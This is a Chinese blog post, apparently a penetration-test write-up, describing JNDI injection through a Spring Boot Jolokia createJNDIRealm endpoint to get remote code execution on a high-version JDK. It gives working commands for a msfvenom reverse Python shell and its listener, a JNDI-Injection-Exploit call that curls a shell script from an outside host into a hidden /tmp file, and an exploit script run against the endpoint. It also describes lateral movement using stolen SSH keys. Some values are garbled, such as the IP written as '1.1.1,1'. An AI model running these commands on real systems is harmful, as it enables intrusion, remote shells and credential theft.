高版本JDK下的Jolokia Realm JNDI RCE小记
发布日期:2021-05-18 09:21:55 浏览次数:20 分类:精选文章

本文共 1575 字,大约阅读时间需要 5 分钟。

渗透测试报告:从JNDI入门到RCE

引言

在一次阳光明媚的下午,我接到了一项渗透测试项目。初始资产收集阶段意外发现了一处Jolokia资源,具体来说是type=MBeanFactorycreateJNDIRealm。通过进一步分析,发现了一个重要的资源端点:

https://api.example.com//actuator/jolokia/list

需要注意的是,这个资源必须通过//进行访问,普通的/可能会导致无法接入。

此外,本次渗透过程中提到了Spring Boot以及JNDI相关的漏洞利用。


一波三折的RCE(远程代码执行)

为了触发JNDI漏洞,我首先利用了一些公开的POC(Proof of Concept)。然而,初次尝试中发现,使用marshalsec进行攻击时,目标并未请求JNDIObject.class,可能是由于目标环境的JDK版本过高,导致JNDI注入方法不再有效。

因此,我决定换一种方法,寻找一个适用于高版本JDK的JNDI注入Poc。

###生成工具 为了构建有效的JNDI探测工具,我生成了以下反弹壳:

msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py

随后,启动_listener_:

msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"

###获取恶意代码 紧接着,我通过JNDI-Injection-Exploit来获取恶意脚本。这是因为Spring Boot和Tomcat 8+以及相关版本已经被发现存在此类漏洞。其方式如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://x.x.x.x:30001/shell.py -o /tmp/.shell.py" -A "1.1.1.1"

另外,我使用了以下Python脚本来感染Spring Boot的JNDI Realm:

python3 springboot-realm-jndi-rce2.py http://api.example.com//actuator/jolokia rmi://1.1.1.1:1099/mswuvw

以上工具需要在具有以下特征的环境中工作:JDK的信任代码库设置为false,以及Tomcat 8+或Spring Boot 1.2.x及以上版本包含在类路径中。

###成功反弹 最后,通过将执行命令改为/usr/bin/python /tmp/.shell.py并重复上述步骤,成功建立了反弹H Activity,证明远程代码执行已成功触发。


后渗透与内网部署

这台服务器既是一台开发机,也是一台线上生产服务器。从内网横向移动相对简单。通过访问.ssh目录下的known_hostsid_rsa文件,可以通过预先设置好的私钥进行访问。随后,可以逐一访问内部服务器的主机,完成完整的控制。


参考与工具

本次渗透过程中,使用了以下工具与资源:

  • JNDI-Injection-Exploit
  • Spring Boot JNDI注入漏洞利用脚本
  • metasploit framework生成的反弹壳
  • Jolokia端点扫描
  • 此外,下面是使用的参考链接:

  • 官方文档链接
  • 火线安全平台

  • 本次报告总结了从发现JNDI端点到成功触发RCE的全流程,并通过横向移动获得了完整的内部访问权限。这一过程需要掌握多种工具与技术,同时对目标环境进行细致分析。

    上一篇:利用Github Actions自动化检测子域名劫持漏洞
    下一篇:一个低危CSRF漏洞的逆袭

    发表评论

    最新留言

    初次前来,多多关照!
    [***.217.46.12]2025年04月21日 15时30分54秒

    关于作者

        喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
    -- 愿君每日到此一游!

    推荐文章